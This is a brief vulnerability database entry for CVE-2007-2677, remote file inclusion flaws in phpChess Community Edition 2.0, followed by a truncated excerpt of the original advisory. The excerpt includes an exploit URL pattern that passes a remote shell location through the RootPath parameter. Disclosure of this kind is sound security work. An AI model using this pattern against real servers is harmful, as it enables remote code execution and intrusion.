CVE-2007-2677: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in phpChess Community Edition 2.0 allow remote attackers to execute arbitrary PHP code via a URL in 1 the config parameter to includes/language.php, or the RootPath parameter to 2 layoutadmincfg.php, 3 layoutcfg.php, or 4 layoutttop.php in...

phpchess-rfi.txt

phpChess Community Edition 2.0 Multiple Remote File Inclusion Vulnerabilities D.Script: http://www.phpchess.net/index-3.html Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Exploit:Path/skins/phpchess/layoutadmincfg.php?RootPath=Shell...